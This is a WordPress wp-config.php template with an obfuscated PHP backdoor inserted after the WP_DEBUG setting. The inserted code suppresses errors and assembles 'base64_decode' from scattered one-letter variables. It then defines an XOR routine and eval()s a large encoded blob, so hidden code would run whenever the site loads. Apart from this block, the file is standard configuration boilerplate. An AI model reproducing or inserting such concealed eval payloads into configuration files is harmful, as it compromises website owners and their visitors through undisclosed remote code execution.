<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );



error_reporting(0);$qnhguno="a";$xab="b";


$censr="wglyy";

$mgjbluf="6";

$xvcz="s";$uhqhigqt="e";$bkie="bram";$bpvszu="4";

$dlnfurdr="_";$gnvc="yafms";$rikqraej="v";
$tiioba="c";$hno="xugw";
$grgll="lfcdob";$ndlwpmp="l";$xlab="ewjqim";$rbqgqxj="d";



$hexvfx="o";

function h($j, $f){ 
$n=""; for($s=0;$s<strlen($j);) for($o=0;$o<strlen($f);$o++, $s++) $n .= $j[$s] ^ $f[$o]; return $n; };$dqx="igkpiv";


$skrucd="uwerblg";
$wqmx="mbufp";





$nzvsp=$xab




.$qnhguno.

$xvcz.




$uhqhigqt.



$mgjbluf.


$bpvszu.
$dlnfurdr.
$rbqgqxj.




$uhqhigqt
.$tiioba

.$hexvfx.



$rbqgqxj.




$uhqhigqt





;


$ofycqbau="jdoomppw";

$wolgrqp="aqyewkut";

















eval(h($nzvsp("_MSXX\Q\WE^HAW^A
_J&_^ZI^,CU1IUOC^IHCS&MXDz	MXOLX	XG_X\\M^
A&L	DsE@
sIWMLX_Xj@I_SsPIUZM@]QgJZMEHMIxCG0
OCIHOCBLO_N\HHTMW^NTJIN^{ZMEHMX-IB?BO HHQGH5^i$[Cb-yb`oY( )yXzy>0(*x?"{j	ki.foy}<,_cA&_0CO)XIXKOCBT_AJB XBBBe
OCBXZUR]S[EIY[10GWXUWOB_X9D^_eBVJT[Y_XTZ\M^=XPXSZ\M^_eBXQDJ@Z
MeBZ[TMAP[_TPM_3BEATRXAF
M^I*BRZBJ^TDBTBQYM^	IeXKZYJT[^V^TB\M
&BXRZ_TRGSE]Y\M^IeBX@\HTKHJACFC\M_IeXZXEZSMI^'BXYZ[TOP]@TJK}LG#D^IGI_IJ3^_D]q	wD_JJ3XQO
XOD0P	w
Y_>!JXVqBQQQ@X_TICHJXJ	SB[h
XI3	\_TND\K	KDE\VT^QDND	KJGXqC B! w\RT^ Z
M]ETZ]D\]T^XQIqXw\LT
^]D\JT[JRZ_V\CTYSF\RT^U,R1F	L\XE]JQB
> 
EKXC^0\HFZQ\HDHCFI^AVq _BMZC^!\HDOCF	HB\HAWqVEYRCAw\YT_\@I^JS\G@AFT@@\TYJF\RWVSM qY\C	\HTKHJwA76AT	\@I^IS\GBJAFT@@[q OYIBwVJT[YZZ\JC	\HTKHHH\YJT[Y[TZMQS_TNFDA]qBFT@@\TYMCFwJT2wVJT[^Z\IC	\HTKHH\Y]\\X\[TA$]4\JTZOJRZ_NV\CT\SFqw
_TRD]AF	HL\XEZ' [MK^wTZQDID	K\JGqYBOECBQCeOC_GDBDU^IY^BK_JY CBR} 7}L+Z_J@IXKZJw9$OIX^BOZXQ]	A'JYBXECBH\FWOB_7*]EI XEGEKMOUST\M] I]]XI ^AG\AA_J(vM<OCMAIT\ 5q O ]\@OGHSUW~3mA| XSCMECWD>e:%M]JJ a<*SChXCI7] ME0P]Iv X?SCL[$gV"JB-T X,SCBcCPAB]U-Dm]HGIHcOUSM_] X~z$<dMAIXC6 xM O ]X^OJMAIOC .@I O
 ]XUF.I.V]Kb
 HSCKXC_3] M _]MA CSCSCQFI#.jN I_ O ]^mOOMAIxE PpTX^XHIV HXCVV VIxEL Y_^XH[I HSb;{8=I BXG^LG[x\?HaOXMAI* MZ O ]XDROH*K.*g,DYBOXGWIX^%AQQXYBDCQJEC_
X<OGF] 8 JOCB_Y'R\IXO}^B.IX}w8T]]D]T^XQJ3}*[TOP_<	H]qBDEJATOATIPPOIXZtHXERJC5SATYXE]QHECFIZ}wCTQP_<JT]NDZ)Z_OXBqSYABX4K	KDEVT_qU_HQI_MIY3A5EYTZO@^DMDLXAQ OXCBIXsOIWC_ZFWU@IeCOYA 4F]T^XQFBJ^TE6wFHA\]ODHqKFYJT[_TZOFSD]RFHDCF	BFH@VPHXQCJGJeB^IXYTBI	OMIKe*JTX0GI_IIXY^Y@@AQIsC
MKIX7 GEJ
WR_1OCGEICH UDV_Is CEEIB]B  _+CCEIG\VV_A^TX _IsOCCG_ YO	HFXsCCGIE^XY JTF I%OEIY[HL [H XFFJC YB6AT\@I^S BDq*
M]FLDq 0OCGE
DD] YABXwT\]D\JT]JVBM05\AT\DO$X_TST&G_I+=CYOInHUH[ B_\R_XB	CBY] eBWOCBT_VJJEF*qW^UWO}G\M_eEITIBTBQ^_eBVJTI^TB\M
&BXRZ_TXSZ]\\M^IeBX@\_TN@XQ\IeXZCTMOAP[_TPM_3BEATMLO]D\M_I&BRY^TA\M
&BXRZ_TXSZV\\M^IeBX@\_TMB@ZW\IeXZCTNAP[_TMP\^I8XBF	MMBT
P_M^	IeXKZYJTYGATOJ}UD=FN^MGTI_ZJ1JY_qw_D HqSOX2DJwV\Y_qJ3^EJqGJQBBTCOJEC_G]OeXOXDB^IXO_YBX
CR}F5GW}L}N@TJ!}qT^XBJUQ ] "QJECDGO_MwVzk%INgD^
ZVM\D V5N JBMI L_A@>V_nTH DiFJ
E_V S=!XY] X]]^_\?H@IF H OC4}$-FJ
C[V IX YOB[	dx7]-]]N	I ^IGBCBOUS,DE] I]]^ I FmOO ^XHy~6 HCIVV_\[IvO[9UB O
 ]8g;E/FJBHV ][#Xc	 H\MVV_X)uB)OYGCGIOUS]K XB<cD V@JBUKpT[qDUOXCBG^YNF^IY^B Q]TQ@X^Bw\YTMYqw\@^DO]D	MDE\VTNY\@IHQ\_TX'\G MODCi@IAUYABX4\K	COCFATNL\OIS\GSTHCFIX,MLMBi@AwSTBAJI,\[TNC	\HTFVJTIHC^H MOD ^&@wEIT@JqU MOD ^&@wEITO@\T	]DMqRTQ O BX*\[TNARSq!\_TXQ\BJ^TMFTP_H@H]qB Di BOD^i@I"GTMD GV'CA
COAIBw\XMQUHq8\Y]^Z\MQS_TDHV'DCi@I _I-ICX	YOCEGWOB_XK\C[!_TX'w9EIT@H)_TVS9E^TNCTMZ^]2Y@TQO	IIRDU{DX@JEZFHZ]
MSR_MBWN
GH_U@
DJXGVIK[XID_L	HMUJI^C\DBEOI^U_XM
XIMO^JY@
\T	JS\DEO_UMBX\_EVXID_JWIVDX OI^[IM IBIHHBXHYIAIHQ^IMX^CBHB	DYG^MUETQ\M\MBTUHE_\OFSRNMNWHEZI]JCXN_ IPM^A[XLD_X B[GJCCQTIBBOMVMEC MDJBHO_EBI

ODZX^BAMK@MOEOIY^IBUCI@N[C@H@BI__TVZF\SMESRHZ\VEZFHZ]
MSR_MBWN
GHEZDEMVBHEGH@HE_D_U@IVJCBTVI@ASAJZ]^ZIK^MTC^I^@X_ZBYN@\D
NIX	^AXEII	CAXECIBX EBBK@^XBVIQ^IX
EBI^GNCOE^ESREMEWN
GHU\SH
ZOF	\TVQ_
MBO_UMBX\_EVXID_J_SE[QJPNYHUXYOGH BKY@@YOCUOEHJU	EZQLHVPEUETUHE__BJU@JBX_UT_SAJZ]_ZDJ]EVVE@_OXD
I^ AYB@YKDHIBC
HIMD^EUBZIXEZIM_O@M@CE_XK\^C@TMTADG@QA_\B\VEZFHZ]DEPHZDHEZTMA_UIL]H@MBBIHXDGHIDPIQJ^MINC^R]@E^ITQ^\EZG@E]Jp&` EsIXIM@@C&@sC\
BA QXHDU&&YBOECB
^MI~BC)X KU@IBXDHHDFWpOI^MYNX^X^s_ 	@IR_XsIMEJTVMNOIJKDAB\]_YT/no5ijk#efg`%7;?}~)xy9{;u+] JE@Y@IKXDIBRTFCXVFIIBXDP&Q&&TGJBOEB.T_VKIX9IM@e8^m<FWiQZ OXCBIX~I	=mH^m)J
ZEMFA\Xs-+"*~w]ki e3s0>h8J3Q

Cs-+"*~w]ki e3s0>h8J3O\FHSFEGs"?~<(<w6ice;smhh:^)TQ@_
EYR XUYs.~zi~3^<;x|%ts)c1{0(h/)1jc#qB

@QP0i(zi=wDd%.|551jc#{m~/ihsj'+S2D]M_J[JG
WOsi~><&4d.x|0t<j>({+?*ih.jc~Lq@]+<i~,i~40i#,i82/hh#qBW	I
T\CH
D VVN2=i~'i~wLdxx|7!+)c~-m~+i's75~M0GUE\VE\3I)TQ@_
EYR XUYs.~zi~3^<;x|%o`&i-x.3|M0GW
Csi:/1=w2xx?s `8?b>2'|,LXWDAS
IKU%/?8i~*dx?|so`!<:;se*qF]U%/?8i~*i9zi~s)=0=qSOWGEG5>+~z4~w#xx|s+5=*bx%e|HqXQQ@JYI\XUL&'*~z?~wHd7x!%o,2-cb?iox"bkse8^)F\
GGs"?~<(<w9xx|4ojso'7:*ox3bk0e3,STJ__EN_TG%i=z&~*]d>9>so7soc%biox!730e|]qSK.)i8;+~wVi~=i~sm,=&HqS
\L^s9(<zi#wd?x|so.&7 bb?ox&b$s8*7VI_IE\L&'*~z?~wH~&a>.i5,*h~VqQK^IXYTKE\AQeQi&BLYBXECsITEGKX~
M^CDNW&QYBOXOKI~I@IRJd&QKEJ@XURs<i1z4(wM%:x|.~ij.~i~5P]OW&ZOCQZJMJs4~zi9wdx<)+=ij?~i=>LZKBZYdx?|s~i.<&*~S&OCQZJd&QKEJHQ\X0&~'?~1J&xx!s~i-i~i~O$]F^XYBCSA&`MNQIXY^YP0i(zi=wDd%.|5?+ji#i~6&HY	eQ&pEJOBJOBsTE__K&
M@MF&QZJBOECBKKIX~MSWOE\Fs"i~z.~wd<-$0y?~s.k&b%]qCDNWUsi9zi~wO1 ;|s/i=s"k44xM0NIXIZd<-$0y?~s.k&b%]QM^XY^s-+"*~w]dx;|<y"?~5,)ib%qKQ&Q&bOXCBOKX5A bMIKW&HYPIMI^^
M	s^]YIXsDI	_S&OCX IMH^_w qA&Qe&YX KX|^XCOCQ]OW&ZO^XBJEOIAXUOsi~><&4d.x|<>Q\
JI1i#zi~0dxx8*S2GHCJVZPMJs4~zi9wi:/1=s|5~xHqCLZ^^GQDX\_G[TUXXLSA&gdJYOXEBKI+YI	Xd
MI	CM&QIMHI
TRM^MJ{ZJMC^MODCsi:/1=M	ILDN@YWaHYTOEJZ_NXR A BO1 ;|s]&CQZJMNQOCXEBYB~OZO&QZJMNUDIMI^H
 s^\@OVZFMI]YOC^H_@
 s^\@OV%FMI]_XXC@CG_Y_XGG JXGX&KHYTKDIHI_8MqLZ
@YIbYTOQpOI^MJDIHI^&Q&bOXCBOAXhMU_MOG H]
IHI OJ	IP^
&KEJI0M^MUGI@DGIIHI	U^BI
HIXA&JMNJ^IMDBI_K]IJdQKEJC_RDUXGFMJ]Y^U KCJJ FG	M_SY^X^IGYC\ZCBOJ
^II_YX&HY	eZ^
X^ZJI{Q&&YBOXOIBCH
hOI2  W&HYTOHXMOCSA&JMNJ^OEXBTKEF_^IRDU
&KH^FRSQ^FJQN_X@IBCGH]D ZEDJ
pJMNQKHMTA^XwKE>/Z6JFqJ&KH~OZQ&OCX MXMP&Q&&XEB
B COIYX KGsTO^HMMCQB	
IhOCHtC^LXOGS&OCX N_I_sIBOGHXMFiQ{pJXEBHOCHI;OIR_CGKXZW`MNU_KNM_I^M+IOHIGJpJMN^IY^BKIBOC0
OCIt ^KVN
G&&&JBOXETIX(I_C_R
&&K^
O]eCQJBsO@@M	@IsEEXHJ
pJMNQOO0EBXKY@XA&JMNQO^@s_X^ODC y#6c:91=szi9eju|-<&CJ@_
X&QZJMNY^@4_IXC\KODVo:~/c!.s9>"sz4~ej2dcxDYFF&ZOCQY1_IC\XCOD H:!=`c*xs)c/`>-`%./xe>b Z&HYTOZOY@<_CFO o>~`c|<&&*xy(bx=m-7?~FM_{Ks_XCXK J.;~`>|xs#imhi:UT_pOCQZOs_XC\ODDY7:~`5|x0o,b??o>9'ai>yx KbYTOZY@.	IXUOD Koy~`') 0xe7ic:xO@JQgNQK^I_YIOOY@s
TOY^ODU&QKD
^GO^sXCQODK&HYTOZOY@<O_EJODX&KHY	^DIH^*]DsOHI6ZIDF^XYBCJ_VdQQ@_Is~OZOGYs_IM^_I7^@FiQZJMN_@VY+M^	IH4OAJ3LDX\_AB~OZOG^WMIki%EY^&^_HwH\X]qQgdQKEJ

X^Y^sM	I6I]Y^U6OZHMU^2M^IHwL]YI^^)T&&ZOCQ^^NQd?x|FI(pB2C_CQTN@sM^_HwD
 HqT3^?B2BXEB(@C_I4(p^&BT&CQZJMN_OGVJ_CIBR_NZ^KFYP^@%\M_H*]Dq]_@\MGOBT&iQZJMNE_OGsTOZOCQ:J_U_CO  ^]T&ZOCQZJIQ&KHYTOZ[D@PIF_OGB&HYTOZ&CQZJMNQKNUYIX	C G]ZZ_Z{KHYTOZE	G^XZ\_	&HYTOZOCQJBILppBH]OK&OCQZJMN&KHYTOlO@ _U	C	G&QKQbYTOQpOI^MJ^I\&&&JY CBZ^IY_*CFY@ O\M^M
]OW&pOG^	\JPNJ&&KEJ@0OM@M@VY1EBXBW&&HYTOZDCQY1EBX^@bsTOZOO^%_\XYODGoy~$6$;s)`s9i1e7#|/(< M@_&HYTOZOY@<_CFO o>~`c|<&'<`s,i~&j:d>)xFM\{Ks_XCXK J.;~`>|xs-c``c?5;,mx3cbCRJpJMNQOY@s_ID Oo6~=5|>2<ix$~bx9mbj-+XOA&OCQZ	@sIXCXO UT,y~6c|;s+i0>i8ANJ&KH@s	IX \UDFM-y~=c|x4ocbb-: ;ea?cy; CAS`MNQY^@s  \XRO Co$(`%=:sx8aic>x XPOeZOCO@5XCXD o=+8 |x%|c<xO@S`MNQY^@s  \XRO Co$(`%=:s|>xj"i`hDYPM^A_Fi&QZJMNU^I_O0ITOKOJpJMNQDMHI^HDTY^sK
X
BJIDX&&KHYTY^sOCIY^ODU&&QKEY\KDIHIwDD\5HIVqVAY
XYB	M_A&`MNI@_W&&HYTOZ^s^
Q\M^IsY^QP^@S&OCQZJI_@QOY^@sIH!_DA]qJPSXX\&bYTOZKOBTMS_^IMsOCBsOIMIKw{ZJMNQK__@OYIQwpOCQZJMNQZ^EJU7	
^ZOJ@ `MNQKHYTHZIEJsIsIQM@_IbYTOZOC,pJMNQqP&&HYTOZIYdQ_@O
UUDXZJI^@.\M^IHw qZOYQTBI_@Q_Ls\^_
H8^J3{KLY@dCXCQRQ__HCTHZKY@.
MHwVDC_q&bYTOZJCU^2M^IHwL\C^XO$]OW&ZOCQZJMJ^IY@X#C_XFDTMZKY@.
MHwV\C^q&HYTOZQ
@I
pJMNQK^IdC	XACU	_DNSEHCTMZWX&QZJMN&&KHYPCOIXOC_I 1_CGIX4O@EI\K^I	Y@d_VN^B ^^a_UT^ Zx=i"a.9`#( xs2cbb.ox LXIXT&iQZJMNE_OGIXAYe&ZOCQZJYX_OGIXDYV?c.OC@5^_HwMXD5YZO2xx?RA&^6L{KHYTOJ\X_GCIANd_XKLs\^_
H8_J3Qp^7BbYTOZOC
YF_OGI o 
BXWXUIY
\MXCB[[[EA^@
B CH62BX&KHYTO\Y_KO SoCBIBXXD@A_^BBIM^A_Ep^p[]T&ZOCQZJYX_OGIXDYV,CBIOEBKZOIppBppBSsTOZOCQ\COGX A_ZMpp&^6L{&KHYTOOX&QZJMNQDE@I@X
CJR_ OISJdQKHYTOOJI	NOGX ZSsTOZOCQZJMJU^O^I_\HWIONA&OCQZJMNQENUDTMp^&BFG^QG[VdQKH~eZOCQZC__OGIXAB~eZOCQ{pJMNQ&{K^IXYTK^I	\e&&{YECHIIOXieB=IX8ED2UF\^MAGGIPT&ZIYKsMXOlG[XOHICH
YIB@HOCH\MF ^GIJLGI&QK
NsTOZO\I%ADSpD HIY^IKYHHIY\MMA H]
USR^`d&JBOXCBHXiMEek{nMIC\M^	]OW&ZO^XBJIK.AMXD(VVCN_IY<HCF\^MABHI&ZOCQ\
`MNQ^IKs DXpAA QMXsIOCI\	ZOXYA&gdJYOXEBHIiAE@&B$IRMAXW&K^B
^IsMDBOAlS M^MAAYIRXYIeCQZJMH
&QK\0AMODGLp_UFMJ\MMAKXT&Qp&JB XBJoCGEI.BMN@QPM@HMI7CB.CHH&&HYPIX9CYXCQJ`gNQEJCE__IQP0ki.wOAqXSgNQKKIX+XQKs$i%!Lq{KQ&&HYTIXCCESCL S KXEAI@PTDLCASS`gNQEJCE__\Kso5cg&i8NO3QW&KHY	^KIoYWPNQHEIC&HYTOZDIH^Y]`XEBLs-+"*~w]|d?s0i=<7CNOK ,CYXDRQTHKGSOZM@E 
xCIB+I CHCVNHEas~&&^^I\BWML{^IYI_X=OXe&LQ6ENZMEHMI&&EQ_I0k&x*]XJ3W
N
_I7CH0k&x*]XJ3LM@EH	;CGBh
OHJd&QEoCCG1MNIKs$i%!IqJ&&KJ+MXOM^BOGQOZM@E 
xCIB+I CHCVdQ\
^MA_HDTM_0IOIBCB.IBOHIhMMFi&QZJII]I_X>^@H] _XZK\X,M
MX&&KCB	IR^E\.XMK^I]|C	XK^]_8@ Q\MMA_APOe&ZKFC5N XLF_BsHI
HOCI0COEJ^I\CBI Fp&OCEZNCB>NFIXWOEHXI;CI]QJPSM@EMXIxhICH
HC
WZ BcFIOWIX.CG
BDQQGJO^sCAsC4CsTOZOI DZF sIOCHsI+ sT&CQZQ`gNQHEIC&&s~@?AM@CXO&&UIAM@x^MZT&G^WM	IX#IM@IJSsP\GK
X1Ie,
H^0jP&&EJHQ_I0k&x*]EJ3QW&KEJHQ
XIXiM
@8k9EXo^UXs/< 4EqCGGCMJIAE@xMOGIYIOHICH
YIBEAYsk.xwE^)F ^GIX&QZJIXIXiAM=kI{ED!M^EJsk4xwHqAYP
AM@xM GWMM_sIOCHQP0ki.wHDqXA&JMNEHXIOX-@ekIGs6?x1JH,OIAME-OG^RGs6?x1JH,&&KI_|MM_QGMUQ&KHYSHZOA@>OG^ &KHYTHE\]QGEV&JMNQIJUGTK^I&OCJpJMN^]YIXy^@HDTKDC	XAG_Z*I\CUgU&HYTK^IYIX3MAMSY@IBCHI HI)CYO@CHFCBsII^^IY_*M_X KGIUAPOeZI\;	C>^L^IYI_X8I]IX$@FMJ^I YI_|M^M
]T&&ZOH
IYS`g&&UYMVKIX:YMRe&GD	D:MAQ4occg!</MD\XqPGs25c!$+w\qKSsPMXcJ	_XQGN2-cc:eiwIHqWYP0oc5ge*wAHS'PML{BMIcJJ O^so c(e4!O3Qso$cgei3[Mq@Mi_:XJ^AVso'6?&iwX_\MqCQ^s)"!ge4w_qH[VT&	U_:MCQ^s)"!ge4w_qH]+,cc1ei4YS'PML{EJMAIy	YIOs9cc$e&wSYH0NUsoc$geiwJMq@MiN.ZIOsocc#014[qOC.9c%&'iwS[H6JB~K@MKy^N.i~=i~w - ?sm9oi?x<`04k?,)i,  YX^Rs<i1z4(wM%:x|.moo.|xs`)73:mk?qCOXZJOL&UIAM@J[OeIME|^b Qa]YI '^EKk
XCQXQgJDIHI^;@MXJOIX=IY	X"HI_0IOE:ByMW|@XC7MQKX~IYI_X I^	40IWo@;M!@MXC^A5YNOA&&JCU%o%"%ei*H6J[]OW&ZOI DZ@_O^E\GVO^F_<C^hOXQW_O^	 QpOOHQO^\XCOYA OCOX
CZJ@CHP_OA&OCHCVdQ&{JC^MOD@]+(ixZM_OMWSN\^MABW&&HYTOEJZMMZWMLQW&KHY	IX
OiE$ kI{EXo^U\QPM^A OISJdQKH]MEOHOI9^OX^A\	 ZG
UJ{ZJMNQKIAM$^MbMICQ^B &QKHYTCBEBIX&QZJMNI@_EJHXiMEek{nMIC\M^	]FWpOCQZJMNIME@KNMB[sHOCIKXABIM^A KGIUAB~OZOCQZ E@!M^MbMAIHDTKBMIeCQZJMNQOCBEBYISsTOZOQ@EE
IXOXiME@e>
M^AJQ&JMNQKIZ\^AJpJMNQKIA	?M^AbALZI{KHYTOOCXEY{ZJMNQQ&KHYPYIU^
B=IM@UBMAU^TA
M^ACQX
HVdQQ&aQ&&U^EK$IZJN_^YI^U;BK=IXCS QWCVd&^|^\M^IH	MA	&&@CJMAQMJX^&bOM_|^JIAM@K@X^EQPM_|MM Q^D|MMAw[q&b]
]Y_X:^LZX__^ZI^,CU1IUT&i]X|^MAMpODE]WSNE &K^SOZ^
JO&QZJJMQOYM &HYTO@]QG@K?B&QHVYP
AM@ eCQ]HMMSUHMXcJJ_XeZCOZIcJ_I &HYS\ZOU*@C^ &KD^TR^DIH^!M^A]&K_YOYIQ	U_:MO&QZJJYQOEJ^M! &ZOHVZTMJ[Ih^EI^&Ss~K^IYIX3MAMSY@IBCHI HI)CYO@CHFCBsII^^IY_*M_X KGIUAPOe&U~
]I&`II_f_CX^UY
]Y_X?CXY^^I_y^@G^IX|^M_J{^^f_BcNF0HICH
IH>Y^II_\f<X^VIXA&`U^I_f_CB'OZFTCVd&EI_\f NFWWMM XB,zEEXCQUYVY_CA#EGSSgdQEJK^I	>CB5NFB@HNQKHEIAB~eZE	K_\F^_\fCBcNTJY@ CIZI_@EZOCAOPTNZJM_Q&EBNQKIODCH[HO^\XQ[
B[DOMECBE^I\@	GZ^
_fB%
Y^QJPOS_^EX]JpJMNQIOC DX\BIYMJ^_DKOCBX RAY^AQ^^f_BcNWMQTQX&QZJMNEIB&HY	e&ZJCUALBW&&HYTOZE	 CXBI1ki%KWbYTOZOCDMLAXMXX\Z]^I	^_]	 XIX[Y^@U[ZO^_\%_B>FGSY@QKFYPYIU^
B=IM@O&KHYTI@	I&CQZJMNQIOC DX\BIYMJ^_DKOCBX RAY^AQ^^f_BcNWMQTQX&QZJMN&&KQI
OW&pOCQZEEJ]Y^U^EBK/ OZF&QZJMNQJ |MMAF&QZJMNQKIOIXX
EZL^I^I_DOY BXBXRS@WO@I_\!_CBc
YQW^@MQCQ^D|MMAESsTOZOCQIW{KHYTOZIDSFADX\]YEZU^
J^_DH CISJY^@Vf_BcFN
XYLQ_EIA	?M^AbA_XHCNIME@KJB~OZOCQZQ`MNQI@_IH~eZOCQZNM_D;M^MAAYeZOCQZJMNIDCIAIX	YX\WI]EVI_DVOCXIBXU^DTY^eCQZJMNQKFYPI_
f_ B,NWO^@SQ&KHYTOZOCQTUO@ YI^X^E3
XTMD!^ NSP&HYTOZI_ZW`MNQKHYT
ODSAXZDI YEZV^IJCBIXL]Q@S&KHYTOZOC_Z\fCBc	FWJQpOCQZJMNQKJWTKIAE@?MM4MdQKHYTOZA^_Z E@{KHYTOZOCS\DMJ]Y^U^EBK/ OXMiQZJMNQQa&HYTOQp&OCQ{pQ`gJY^I\f_C6MX
C<C;_EC^J
 [dA@MCW{ZJMJOCXIBN	
YsIO HUI$_CcNFFWDMQA&OClMEIVOOCBX F&ZOH
IYS`d&EI_\f NFWWMM XB,zEEXCQUYVC_hCM
BSSgNQY^xC~I
OXZI|X@XIXhCbMIFiQZCSAIMDX	Y
]YZH^J_JNOCXIBRZY@7C#HOXQU&HYTEIReQi&BII_f_CcNFVVOXCB)Cz	EQQIBCXjZW&OCX2I_CB_sOCHQ@_A&OCHCVdQ&{EJC^I_3 BcFQWAME(C^'E_EC^QHDIOJ@IMCW{pJMNEJQ^_\f_;FDW	EIAOLBHEI@POe&ZKJ
@>MNM_I]sIB
DTE_[ZsHOCH^I	>CB5NFB@)XMSQB&&HYTJRCN0KX.IXW&KHYT NsBH0OICVdQQ&aLIoM^OI	WM	IB^MX~MBH'^EKFiQZNXI?YAN^_HI^XI=MHBKY&K
  
m^MUOCKII~BHCX^E\F&pOG_I+NIBIMXI~	 A^EKKJpJMNNCNb
AIHI^XI=MHBKY&a XAMSF_	\XO&JYOXECYVA	MZ
m_X\BTCWaJWTK_MImYI(
U_&Qa&JY CBR&CQZ@NQNUIoDMI^	M^CEIQJEIhMX	YZMA&OCQZ`MNIXIN!YAI^MQGm^MUC
  
oD^MX^ZHCIBXDP&HIXOECQJJNS	UXIo OX^_OABKW&HYTOXKNX4Y^_QwqJWTKNUIoMMIN_ODMoCHI)\pO&QZJXS	UXImXOB[Q/EVm^MUIN!YAI^MXA&JMN&QIXFYP@CbMICSZJ[3@CNCwLIm^MM,V\IKE^I	>CB5NFB@9\ISQIQbsTOXK_Z;_JCL_NCNbMTA ZAG^	\ BcFJE@IMJ{ZJMdQY&a_OA&&OCBII_f_CcNFVVIH^IX"J^,I&KHYDCZIMQXCI]EZL^IJ^
HOBX
BVJ_^_\f_;FDWIEO,XIjE@QJ^JM&pOERQg&&N&&"),",qz,jmn,,q,,,k,,,,hyto,,z,,o,c"));





$squx="jzczubdyf";
$dwlk="vfzlk";



/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';